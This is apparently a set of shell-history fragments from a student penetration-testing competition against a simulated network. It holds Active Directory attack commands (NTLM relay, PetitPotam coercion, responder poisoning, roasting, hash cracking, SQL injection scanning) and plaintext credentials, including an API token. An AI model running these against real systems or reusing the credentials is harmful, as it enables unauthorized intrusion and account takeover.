    -d '{"route_name":"","waypoints":[{"lat":25.0,"lon":-80.0,"name":"Miami"},{"lat":26.0,"lon":-79.0,"name":"Bimini"}]}' \\
    | python3 -m json.tool\
curl -s "http://10.0.1.13:8080/api/load_routes.php" \\
    -H "Authorization: Bearer $TOKEN" \\
    | python3 -m json.tool\
clear
curl -s "http://10.0.1.13:8080/api/navigation.php?action=speed" | python3 -m json.tool\
curl -s -X POST "http://10.0.1.13:8080/api/navigation.php?action=speed" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"speed_knots": -100}' \\
    | python3 -m json.tool\
mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SELECT id, speed_knots, heading FROM current_voyage WHERE id = 1;"\
clear
mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' --skip-ssl \\
    -e "SELECT VERSION(), DATABASE(), USER();"\
mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SHOW TABLES;"\
\
mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "DESCRIBE ship_systems;"
mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SELECT * FROM ship_systems ORDER BY id;"\
fuff
clear
ls
gobuster dir -u https://admin.rooms.allports.tours -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt
gobuster dir -u https://admin.rooms.allports.tours -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 3
gobuster -h
gobuster dir -h
gobuster dir -u https://admin.rooms.allports.tours -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 3 -k
gobuster dir -u https://admin.rooms.allports.tours/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints-res.txt -t 3 -k
gobuster dir -u https://admin.rooms.allports.tours/api -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -t 3 -k
clear
claude


_raw:
sudo apt install docker.io docker-compose
sudo apt install flameshot
nmap -vv -oA 20Scan -A -T2 -sC 10.0.1.20
mysql -u boatgps -p -h 10.0.1.99 --skip-ssl
dig penny.allports.tours
ls
hashcat -m 1600 hash SecLists-master/Passwords/Common-Credentials/2025-199_most_used_passwords.txt
hashcat -m 1600 hash SecLists-master/Passwords/Common-Credentials/2024-197_most_used_passwords.txt
hashcat -m 1600 hash SecLists-master/Passwords/Common-Credentials/Pwdb_top-10000000.txt
hashcat -m 1600 hash SecLists-master/Passwords/darkc0de.txt
tar -xvf SecLists-master/Passwords/SCRABBLE-hackerhouse.tgz
hashcat -m 1600 hash SCRABBLE/SCRABBLE-large.txt
hashcat -m 1600 hash SCRABBLE/SCRABBLE-munged-large.txt
vim weirdhashes.txt
ls
tar -xvf /usr/share/wordlists/rockyou.txt.gz
unzip -xvf /usr/share/wordlists/rockyou.txt.gz
hashcat -m 1600 hash SecLists-master/Passwords/Common-Credentials/xato-net-10-million-passwords-1000000.txt
hashcat -m 0 weirdhashes.txt SecLists-master/Passwords/Common-Credentials/xato-net-10-million-passwords-1000000.txt
vim weirdhashes.txt
hashcat -m 0 weirdhashes.txt SecLists-master/Passwords/Common-Credentials/xato-net-10-million-passwords-1000000.txt
cd /usr/share/wordlists
ls
unzip rockyou.txt.gz
ls
gzip -d rockyou.txt.gz
cp rockyou.txt.gz ~/Documents
cd ~/Documents
ls
gzip -d rockyou.txt.gz
hashcat -m 0 ~/weirdhashes.txt ./rockyou.txt
ls /usr/share/wordlists


_raw:
vim host
nmap -vv -oA initialScan -sC -A -T2 -iL host
nmap -vv -oA initialScan2 -T2 -iL host
source nmap-conv/bin/activate
python3 nmap-converter/nmap-converter.py --help
python3 nmap-converter/nmap-converter.py initialScan2.xml -o initialscan.xls
mysql -u boatgps -p '@nchor2024'
mysql -u boatgps -p
mysql -u boatgps -p --help
mysql -u boatgps -p -h 10.0.1.13
mysql -u boatgps -p -h 10.0.1.13 --skip-ssl
mysql -u boatgps -p --skip-ssl -h 10.0.1.13


_raw: : 1768053912:0;nxc smb workstations  -u 'Guest' -p '' -k --rid-brute


_raw: : 1768053905:0;nxc smb workstations  -u 'Guest' -p '' --rid-brute


_raw: : 1768053898:0;sudo nmap -sU --min-rate 5000 --max-retries 1 -n -Pn -iL hosts.txt -oA udp-all


_raw: : 1768053841:0;nxc smb workstations  -u 'Guest' -p '' --rid-brute


_raw: : 1768053836:0;nxc smb 10.0.1.6 -u svc_stabilize -p 1gyroscope


_raw: : 1768053823:0;sudo nano /etc/resolv.conf


_raw:
sudo fping -a -g 10.0.1.0/24
nmap -sV -v -sC 10.0.1.1 -p-
telnet 10.0.1.10 9000
gobuster dir -u 10.0.1.10:9091 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.10:9091 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.10:9000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nmap -sV -v -sC 10.0.1.254 -p-
gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
nmap -sV -v -sC 10.0.1.14 -p-
mysql -h 10.0.1.99
mysql -h 10.0.1.99 -u admin
mysql -h 10.0.1.99 -u admin -p admin
mysql -h 10.0.1.99 -u admin
mysql -h 10.0.1.99 -u admin -p
mysql -h 10.0.1.99 -u captain
mysql -h 10.0.1.99 -u captain -p
mysql -h 10.0.1.99 -u root -p
telnet 10.0.1.10 9000
telnet anonymous@10.0.1.10 9000
ftp anonymous@10.0.1.10 9000
ftp 10.0.1.10 9000
telnet 10.0.1.10 9000
ffuf -u chat.allports.tours/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u chat.allports.tours/FUZZ -w /usr/share/wordlists/dirb/common.txt -fs 4613
ffuf -u https://chat.allports.tours/FUZZ -w /usr/share/wordlists/dirb/common.txt -fs 4613
ffuf -u https://chat.allports.tours/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 4613
ffuf -u http://10.0.1.10:9091/FUZZ -w /usr/share/wordlists/dirb/common.txt -fs 4613
ffuf -u http://10.0.1.10:9091/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 4613
telnet 10.0.1.10 9000
telnet -l '-fbin' 10.0.1.10 9000
mysql -h 10.0.1.99 -u mysql -p
mysql -h 10.0.1.99 -u admin -p
ffuf -u https://10.0.1.11:8045/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u https://10.0.1.11:8045/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u https://10.0.1.11:8045/FUZZ -w /usr/share/wordlists/dirb/extensions_common.txt
sudo fping -a -g 10.0.1.0/24


_raw:
: 1768053810:0;sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1\
\


_raw: : 1768053797:0;echo -n '1gryoscope' | iconv -f UTF-8 -t UTF-16LE | openssl md4


_raw: : 1768053776:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1768053755:0;python3 PetitPotam.py -u svc_stabilize -p 1gyroscope 10.0.254.206 10.0.1.21


_raw: : 1768053737:0;sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1


_raw: : 1768053699:0;nxc smb workstations  -u 'Guest' -p '' --rid-brute


_raw:
ps aux
ps auxf
kill -9 287094
sudo kill -9 287094


_raw: : 1768053470:0;sudo systemctl start docker


_raw: : 1768053470:0;sudo apt install docker-cli


_raw: : 1768053470:0;mkdir -p $HOME/dotnet && tar zxf dotnet-sdk-10.0.101-linux-x64.tar.gz -C $HOME/dotnet


_raw: : 1768053470:0;mv APT\ Purple\ Team\ Request\ for\ Proposal.docx ../cptc/claude


_raw: : 1768053470:0;echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc


_raw: : 1768053470:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1768053470:0;cp config.yaml.example config.yaml


_raw: : 1768053470:0;curl -LsSf https://astral.sh/uv/install.sh | sh


_raw: : 1768053470:0;mv cptc-ai-example ../cptc


_raw: : 1768053470:0;mc cptc-ai-example ../cptc


_raw:
cd Desktop
mkdir hash_cracking
cd hash_cracking
vim hash.txt
ls
vim hash
hashcat -a 0 -m 1600 hash /usr/share/wordlists/rockyou.txt


_raw:
cd /usr/share/wordlists
ls
gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
ls


_raw:
cat hash
CVE-2025-66490 in Traefik Proxy


_raw:
ping 10.0.1.13
clear
gobuster \
gobuster
clear
gobuster -g
gobuster dir -h


_raw:
date
gobuster dir -u http://10.0.1.99/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1 --rua


_raw:
curl https://10.0.1.99:443 -H "Host: BB-A101.rooms.allports.tours"
curl https://10.0.1.99:443 -H "Host: BB-A101.rooms.allports.tours" -k
curl https://10.0.1.99:443 -H "Host: BB-A101AAAA.rooms.allports.tours" -k


_raw:
sudo apt install caido
sudo su
ls
cd thinclient_drives
ls
cd ..
ls
sudo su


_raw: : 1768051192:0;mv JellyfinRevShell/JellyfinUnauthLogin .


_raw: : 1768028015:0;echo 2 > prewrites/Empty/mitigation.txt


_raw: : 1768027439:0;mv migration.txt mitigation.txt


_raw: : 1768026369:0;unzip 'CPTC-10 Template.zip'


_raw:
git clone https://github.com/23yem/Web-Sieve.git\
cd Web-Sieve
cd //
cd ..
ls
cd Web-Sieve
ls
cd ~/Web-Sieve
ls
sudo rm -rf Web-Sieve
ls
sudo pip3 install -r requirements.txt --break-system-packages
sudo python3 websieve.py 10.0.1.1,10.0.1.10,10.0.1.11,10.0.1.13,10.0.1.14,10.0.1.20,10.0.1.21,10.0.1.21,10.0.1.30,10.0.1.6,10.0.1.6,10.0.1.99
sudo python3 websieve.py 10.0.1.1,10.0.1.10,10.0.1.11,10.0.1.13,10.0.1.14,10.0.1.20,10.0.1.21,10.0.1.30,10.0.1.6,10.0.1.99
ls
sudo rm -rf Web-Sieve
cd results
ls
cat ./*
code .
cd ..
ls
sudo rm -rf results
sudo python3 websieve.py 10.0.1.1,10.0.1.10,10.0.1.11,10.0.1.13,10.0.1.14,10.0.1.20,10.0.1.21,10.0.1.30,10.0.1.6,10.0.1.99
nxc smb 10.0.1.0/24
nxc rdp 10.0.1.0/24 -u 'guest' -p ''
nxc rdp 10.0.1.6 10.0.1.20-21 -u 'guest' -p ''
nxc rdp 10.0.1.6 10.0.1.20-21 -u 'guest' -p '' --local-auth
nxc rdp 10.0.1.6 10.0.1.20-21 -u 'rose.davis' -p 'rosdav50'
nxc rdp 10.0.1.6 10.0.1.20-21 -u 'rose.davis' -p 'rosdav50' --local-auth
nxc rdp 10.0.1.6 10.0.1.20-21 -u 'rdavis' -p 'rosdav50' --local-auth
nxc rdp 10.0.1.6 10.0.1.20-21 -u 'rdavis' -p 'rosdav50'
xfreerdp3 /v:10.0.1.20 /u:guest /p:'' /cert:ignore /dynamic-resolution /drive:test,/home/kali +clipboard
xfreerdp3 /v:10.0.1.21 /u:guest /p:'' /cert:ignore /dynamic-resolution /drive:test,/home/kali +clipboard
nxc ldap 10.0.1.20-21 10.0.1.6 -u '' -p '' --users
nxc ldap 10.0.1.20-21 -u '' -p '' --users
nxc ldap 10.0.1.6 -u '' -p '' --query "(&(objectCategory=person)(objectClass=user))" sAMAccountName | awk '/sAMAccountName/ {print $NF}
nxc ldap 10.0.1.6 -u '' -p '' --query "(&(objectCategory=person)(objectClass=user))" sAMAccountName | awk '/sAMAccountName/ {print $NF}'
nxc ldap 10.0.1.20-21 -u '' -p '' --groups | awk '/LDAP/ {print $NF}
nxc ldap 10.0.1.20-21 -u '' -p '' --groups | awk '/LDAP/ {print $NF}'
nxc ldap 10.0.1.6 -u '' -p '' --groups | awk '/LDAP/ {print $NF}
nxc ldap 10.0.1.6 -u '' -p '' --groups | awk '/LDAP/ {print $NF}'
nxc ldap 10.0.1.6 -u '' -p '' --password-not-required
nxc ldap 10.0.1.6 -u '' -p '' -M get-desc-users
nxc ldap 10.0.1.6 -u '' -p '' -M laps
nxc ldap 10.0.1.6 -u '' -p '' -M ldap-signing
nxc ldap 10.0.1.6 -u '' -p '' --gmsa
nxc ldap 10.0.1.6 -u '' -p '' --asreproast ASREPROAST
sudo nano /etc/hosts
nxc ldap 10.0.1.6 -u '' -p ''
nxc ldap 10.0.1.6 -u '' -p '' --asreproast ASREPROAST
nxc ldap 10.0.1.6 -u '' -p '' --kerberoasting KERBEROASTING
nxc ldap 10.0.1.6 -u 'guest' -p '' --query "(&(objectCategory=person)(objectClass=user))" sAMAccountName | awk '/sAMAccountName/ {print $NF}'
nxc ldap 10.0.1.6 -u 'guest' -p ''
nxc smb 10.0.1.0/24 -u '' -p '' --shares
nxc smb 10.0.1.20-21 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.20-21 10.0.1.6 -u 'guest' -p '' --shares
smbclient -L 10.0.1.20
smbclient -L 10.0.1.20 -U 'guest'
smbclient -L 10.0.1.20 -U 'allports.tours\guest'
smbclient -L 10.0.1.20 -U 'allports.local\guest'
smbclient -L //10.0.1.20/IPC$ -U 'allports.local\guest'
smbclient -L '//10.0.1.20/IPC$' -U 'allports.local\guest'
smbclient '//10.0.1.20/IPC$' -U 'allports.local\guest'
smbclient '//10.0.1.21/IPC$' -U 'allports.local\guest'
sudo nmap -sV 10.0.1.6 --script="smb-vuln-*"
nxc smb 10.0.1.20-21 10.0.1.6 -u '' -p '' -M zerologon
nxc smb 10.0.1.6 -u '' -p '' -M zerologon
nxc smb 10.0.1.6 -u '' -p '' -M printnightmare
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus
nxc smb 10.0.1.6 -u '' -p '' -M nopac
nxc smb 10.0.1.6 10.0.1.20-21 -u 'rose.davis' -p 'rosdav50'
nxc smb 10.0.1.6 10.0.1.20-21 -u 'rose.davis' -p 'rosdav50' --local-auth
nxc smb 10.0.1.6 10.0.1.20-21 -u 'APT\rose.davis' -p 'rosdav50'
nxc winrm 10.0.1.6 10.0.1.20-21 -u 'rose.davis' -p 'rosdav50'
nxc winrm 10.0.1.6 10.0.1.20-21 -u 'rose.davis' -p 'rosdav50' --local-auth
nxc rdp 10.0.1.6 10.0.1.20-21 -u 'rose.davis' -p 'rosdav50'
nxc ldap 10.0.1.6 10.0.1.20-21 -u 'rose.davis' -p 'rosdav50'
nxc ldap 10.0.1.6 10.0.1.20-21 -u 'rose.davis' -p 'rosdav50' --local-auth
nxc -h
rpcclient -U '' -N 10.0.1.6
rpcclient -U '' -N 10.0.1.20
rpcclient -U '' -N 10.0.1.21
rpcclient -U '' -N 10.0.1.6
nxc 10.0.1.6 -u '' -p '' --pass-pol
nxc smb 10.0.1.6 -u '' -p '' --pass-pol
nxc smb 10.0.1.6 -u 'guest' -p '' --pass-pol
nxc winrm 10.0.1.20-21 10.0.1.6 -u 'APT\rose.davis' -p
nxc winrm 10.0.1.20-21 10.0.1.6 -u 'APT\rose.davis' -p 'rosdav50'
nxc winrm 10.0.1.20-21 10.0.1.6 -u 'APT\rdavis' -p 'rosdav50'
nxc winrm 10.0.1.20-21 10.0.1.6 -u 'APT\rose.davis' -p 'rosdav50'
nxc ldap 10.0.1.20-21 10.0.1.6 -u 'APT\rose.davis' -p 'rosdav50'
nxc winrm 10.0.1.20-21 10.0.1.6 -u 'APT\rose.davis' -p 'rosdav50'
nxc winrm 10.0.1.20-21 10.0.1.6 -u 'APT\rdavis' -p 'rosdav50'
nc 10.0.1.10 9000
nc 10.0.1.10 9091
ffuf -u http://10.0.1.10:9091/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.10:9000/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.10:9091/api/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.10:9000/metrics/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic
ffuf -u http://10.0.1.13:22/metrics/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -ic


_raw: : 1768022475:0;cp -r findings_app findings_app_v2


_raw: : 1768022444:0;sudo docker rmi ghostwriter_production_redis:latest


_raw: : 1768022444:0;sudo docker rmi ghostwriter_production_queue:latest


_raw: : 1768022444:0;sudo docker rmi ghostwriter_production_postgres:latest


_raw: : 1768022444:0;sudo docker rmi ghostwriter_production_nginx:latest


_raw: : 1768022444:0;sudo docker rmi ghostwriter_production_graphql:latest


_raw: : 1768022444:0;sudo docker rmi ghostwriter_production_django:latest


_raw: : 1768022444:0;sudo docker rmi ghostwriter_production_collab_server:latest


_raw: : 1768022444:0;cat from flask import Flask, render_template, request, jsonify


_raw: : 1768022444:0;zip -r findings.zip findings_app


_raw: : 1768022444:0;cat C5:\ Climate\ Control\ System\ Still\ Accessible/details.txt


_raw:
ping 20.0.1.10
ping 10.0.1.10
ping 10.0.1.11
ping 10.0.1.6
ping 10.0.1.14
ping 10.0.1.15
ping 10.0.1.21
ping 10.0.1.30
ping 10.0.1.99
ping 10.0.1.20
ping 10.0.1.16
ping 10.0.1.15
free -h
ls
cd ghostwriter
ls
cat README.txt
ss -ln
ss -tulpn
sudo ss -tulpn
ls
docker images
sudo docker
cd ~
ls
ls Documents
ls ~
find / -f -name "*ghost*"
find / -name "*ghost*"
find / -name "*ghost*" 2>/dev/null
sudo ls /root
sudo cd /root
ls
sudo cd /root
cd
exit


_raw:
cd ghostwriter
ls
chmod 777 ghostwriter.sh
./ghostwriter.sh
sudo ./ghostwriter.sh
ls
vim ghostwriter.sh
docker images
sudo docker images
sudo docker prune
sudo docker image prune
sudo docker images
sudo docker rmi ghostwriter_production_collab_server:latest
sudo docker rmi ghostwriter_production_django:latest
sudo docker rmi ghostwriter_production_graphql:latest
sudo docker rmi ghostwriter_production_nginx:latest
sudo docker rmi ghostwriter_production_postgres:latest
sudo docker rmi ghostwriter_production_queue:latest
sudo docker rmi ghostwriter_production_redis:latest
sudo docker images
ls
./ghostwriter.sh
ls
cd ~
ls
sudo cd /root
sudo cd
sudo vim /etc/hosts
sudo cd /root
sudo su
exit


_raw:
ls
cd ghostwriter
ls
sudo si
sudo su
exit


_raw:
ls
cd ghostwriter
ls
vim README.txt
vim ghostwriter.sh
sudo su
exit


_raw:
ss -tulpn
ls
exit
exit
cd ~
mkdir findings_app
cd findings_app
ls
mkdir templates
mkdir static
mkdir findings
cd findings
mkdir ExampleFinding1
cd ..
cd static
cd ..
vim app.py
cd ~
ls
cd findings_app
ls
vim app.py
ls -a
rm .app.py.swp
vim app.py
nano app2.py
rm app.py
nano app.py
cd ../Templates
ls
cd ..
ls
cd findings_app
ls
cd templates
vim index.html
nano index.html
cd ../static
nano app.js
pip install flask
sudo su
pipx install flask
python3 app.py
cd ..
python3 app.py
vim app.py
python3 app.py
free -h
ls
cd findings_app
ls
cd static
ls
cd ..
cd templates
ls
cat index.html
ls
cd ..
ls
cd findings
ls
cat C5:\ Climate\ Control\ System\ Still\ Accessible/details.txt
clear
ls
cd ../..
zip -r findings.zip findings_app
ls
exit
ls
cd ~
ls
cd findings_app
ls
cd findings
ls
cat from flask import Flask, render_template, request, jsonify
import os
cat ExampleFinding1/ips.txt
cat Test/ips.txt
cat Test/cvs.txt
ls
clear
ip s
ip a
exit


_raw:
ls
cd ~
ls
cd findings_app
ls
cd findings
ls
cat from flask import Flask, render_template, request, jsonify
import os
cat ExampleFinding1/ips.txt
cat Test/ips.txt
cat Test/cvs.txt
ls
clear
ip s
ip a
exit


_raw: : 1768019900:0;wc -l /usr/share/dict/wordlist-probable.txt


_raw: : 1768019887:0;cat /usr/share/john/password.lst | grep c@p


_raw: : 1768019883:0;cat /usr/share/john/password.lst | grep captain


_raw: : 1768019874:0;cat /usr/share/john/password.lst | wc -l


_raw: : 1768019262:0;echo "$apr1$VbYr44rQ$w6ZA6HQHOtl.SjZsaFnKw/" > hash.txt


_raw: : 1768017475:0;hashcat -m 1600 -r /usr/share/hashcat/rules/best66.rule captain.hash /usr/share/wordlists/rockyou.txt


_raw: : 1768017475:0;hashcat -m 1600 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule captain.hash


_raw: : 1768017475:0;hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule captain.hash


_raw: : 1768017475:0;hashcat captain.hash /usr/share/wordlists/rockyou.txt


_raw: : 1768017475:0;john --wordlist /usr/share/wordlists/rockyou.txt captain.hash


_raw: : 1768017475:0;john /usr/share/wordlists/rockyou.txt captain.hash


_raw: : 1768017475:0;john captain.hash /usr/share/wordlists/rockyou.txt


_raw: : 1768017475:0;sqlmap -level=1 --risk=1 -u https://chat.allports.tours/register


_raw: : 1768017475:0;sqlmap --wizard --level=1 --risk=1 https://chat.allports.tours/register


_raw: : 1768017475:0;sqlmap --level=1 --risk=1 https://chat.allports.tours/register


_raw: : 1768017475:0;sudo gunzip /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768017475:0;echo 'hellomonitoringteamijustgotabreakandamhavingfunthanksforthisnetworkandihopetoseewhaticanfind' > /dev/null


_raw: : 1768017475:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users-export users.txt


_raw: : 1768017475:0;nxc ldap 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --users > users.txt


_raw: : 1768017475:0;nxc ldap -u 'svc_stabilize' -p '1gyroscope' --users > users.txt


_raw: : 1768017475:0;nxc ldap -u 'svc_stabilize' -p '1gyroscope' --users > users.


_raw: : 1768017475:0;nxc ldap -u 'svc_stabilize' -p '1gyroscope' --shares


_raw: : 1768017475:0;nxc ldap -u 'svc_stabilize' -p '1gyroscope'


_raw: : 1768017475:0;nslookup nslookup apt-gps


_raw: : 1768017475:0;adidnsdump -u 'allports.local\svc_stabilize' -p '1gyroscope' allports.local


_raw: : 1768017475:0;adidnsdump -u 'allports.local\svc_stabilize' -p '1gyroscope' --forest


_raw: : 1768017475:0;adidnsdump -u 'allports.local\svc_stabilize' -p '1gyroscope' --print-zones 10.0.1.6


_raw: : 1768017475:0;adidnsdump -u 'svc_stabilize' -p '1gyroscope' --print-zones 10.0.1.6


_raw: : 1768017475:0;git clone https://github.com/dirkjanm/adidnsdump


_raw: : 1768017475:0;git clone git clone https://github.com/dirkjanm/adidnsdump


_raw: : 1768017475:0;impacket-ntlmrelayx -t all://10.0.1.21 -smb2support --remove-mic -i


_raw: : 1768017475:0;impacket-ntlmrelayx -t all://10.0.1.6 -smb2support --remove-mic -i


_raw: : 1768017475:0;impacket-ntlmrelayx -t 10.0.1.21 -smb2support --remove-mic -i


_raw: : 1768017475:0;impacket-ntlmrelayx -t 10.0.1.20 -smb2support --remove-mic -i


_raw: : 1768017475:0;impacket-ntlmrelayx -t 10.0.1.21 -smb2support --remove-mic


_raw: : 1768017475:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 -smb2support -h | grep mic


_raw: : 1768017475:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 -smb2support -h


_raw: : 1768017475:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 -smb2support


_raw: : 1768017475:0;impacket-ntlmrelayx -t 10.0.1.20 -i -smb2support


_raw: : 1768017475:0;impacket-ntlmrelayx -t 10.0.1.20 -smb2support


_raw: : 1768017475:0;impacket-ntlmrelayx -t 10.0.1.21 -smb2support


_raw: : 1768017475:0;hashcat -m 31300 timeroast.txt /usr/share/wordlists/rockyou.txt


_raw: : 1768017475:0;hashcat -m 31300 timeroast.txt /usr/share/wordlists/rockyou.txt\\


_raw: : 1768017475:0;hashcat -m 31300 timeroast.txt /usr/share/wordlists/rockyou.txty


_raw: : 1768017475:0;hashcat -m 31300 timeroast.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1768017475:0;./hashcat -m 31300 ~/windows/timeroast.txt


_raw: : 1768017475:0;sudo apt-get install build-essential make


_raw: : 1768017475:0;git clone https://github.com/hashcat/hashcat


_raw: : 1768017475:0;sudo apt-get install hashcat


_raw: : 1768017475:0;nxc smb 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' --shares


_raw: : 1768017475:0;nxc smb 10.0.1.20 -u 'svc_stabilize' -p '1gyroscope' --shares


_raw: : 1768017475:0;sudo responder -I eth0 --disable-ess


_raw: : 1768017475:0;sudo responder -I eth0 --lm


_raw: : 1768017475:0;sudo vi /etc/bhapi/bhapi.json


_raw: : 1768017475:0;bloodhound-python -c all -u 'pentester' -p ')u1h55hm-h(M(7nV' -d allports.local


_raw: : 1768017475:0;nxc ldap 10.0.1.6 -u 'pentester' -p '' --asreproast roasted.txt


_raw: : 1768017475:0;nxc ldap 10.0.1.6 -u 'captain' -p '' --asreproast roasted.txt


_raw: : 1768017475:0;hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule captain.hash


_raw: : 1768017475:0;hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best66.rule


_raw: : 1768017475:0;hashcat /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule


_raw: : 1768017475:0;hashcat --force /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule


_raw: : 1768017475:0;nxc ldap 10.0.1.6 -u users.txt -p '' --asreproast roasted.txt


_raw: : 1768017475:0;nxc ldap 10.0.1.6 -u 'b.finn' -p '' --asreproast roasted.txt


_raw: : 1768017475:0;nxc smb 10.0.1.6 -u 'b.finn' -p '' --asreproast roasted.txt


_raw: : 1768017475:0;git clone https://github.com/nationalcptc-teamtools/university-of-florida.git


_raw: : 1768017475:0;echo 'pentester:kali' | sudo chpasswd


_raw: : 1768016461:0;cd Princess-Sumaya-University-for-Technology/Useful\ Tools/linWinPwn


_raw: : 1768016461:0;sudo bloodhound --no-sandbox


_raw: : 1768016461:0;sudo vim /etc/bhapi/bhapi.json


_raw: : 1768016461:0;cat Princess-Sumaya-University-for-Technology/ad.sh| grep -i bloodhound


_raw: : 1768016461:0;cat Princess-Sumaya-University-for-Technology/ad.sh| grep -i bloodhoind


_raw: : 1768016461:0;cat Princess-Sumaya-University-for-Technology/ad.sh| grep blood


_raw: : 1768016461:0;lookupsid.py DECKHAND-01/guest -target-ip 10.0.1.20 -no-pass 1000


_raw: : 1768016461:0;lookupsid.py DECKHAND-01\guest -target-ip 10.0.1.20 -no-pass


_raw: : 1768016461:0;lookupsid.py DECKHAND-01\guest -targer-ip 10.0.1.20 -no-pass


_raw: : 1768016461:0;lookupsid.py DECKHAND-01\guest -no-pass


_raw: : 1768016461:0;lookupsid.py DECKHAND-01/guest -no-pass


_raw:
: 1768016461:0;sudo bash -c 'cat > /etc/hosts << EOF\
  127.0.0.1       localhost\
  127.0.1.1       pentester\
  ::1             localhost ip6-localhost ip6-loopback\
  ff02::1         ip6-allnodes\
  ff02::2         ip6-allrouters\
  EOF'\


_raw: : 1768016461:0;sudo echo '10.0.1.20 DECKHAND-01'| sudo tee /etc/hosts


_raw: : 1768016461:0;sudo echo '10.0.1.21 DECKHAND-02'| sudo tee /etc/hosts


_raw: : 1768016461:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*"


_raw: : 1768016461:0;echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key2-4b7a2d9d-da05-4e98-a8d9-1fa4a3cef05a"' >> .zshrc


_raw: : 1768016461:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s base "(objectClass=*)"


_raw: : 1768016461:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "(&(objectclass=user))"


_raw: : 1768016461:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" "(objectClass=user)"


_raw: : 1768016461:0;ldapsearch -x -H ldap://<target> -b "dc=example,dc=com" -s sub "(&(objectclass=user))"


_raw: : 1768016461:0;nxc ldap 10.0.1.6 -u '' -p '' --trusted-for-delegation  --password-not-required --admin-count --users --groups\


_raw: : 1768016461:0;ldapsearch -x -H ldap://<target> -b "dc=example,dc=com" "(objectClass=computer)"


_raw: : 1768016461:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s "(objectClass=user)"


_raw: : 1768016461:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local"


_raw: : 1768016461:0;ldapsearch -x -H ldap://10.0.1.6 -s base namingcontexts


_raw:
: 1768016461:0;pip uninstall sqlalchemy --break-system-packages -y\
  pip install 'sqlalchemy<2.0' --break-system-packages\


_raw:
: 1768016461:0;pip uninstall sqlalchemy -y\
  pip install 'sqlalchemy<2.0'\


_raw: : 1768016461:0;pipx install git+https://github.com/Pennyw0rth/NetExec\


_raw: : 1768016461:0;cat Princess-Sumaya-University-for-Technology/ad.sh| grep -i net


_raw: : 1768016461:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" "(objectClass=group)" cn\


_raw: : 1768016461:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s base "(objectClass=*)" pwdProperties lockoutThreshold lockoutDuration maxPwdAge minPwdAge minPwdLength pwdHistoryLength


_raw: : 1768016461:0;ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s base "(objectClass=*)" "+" "*"


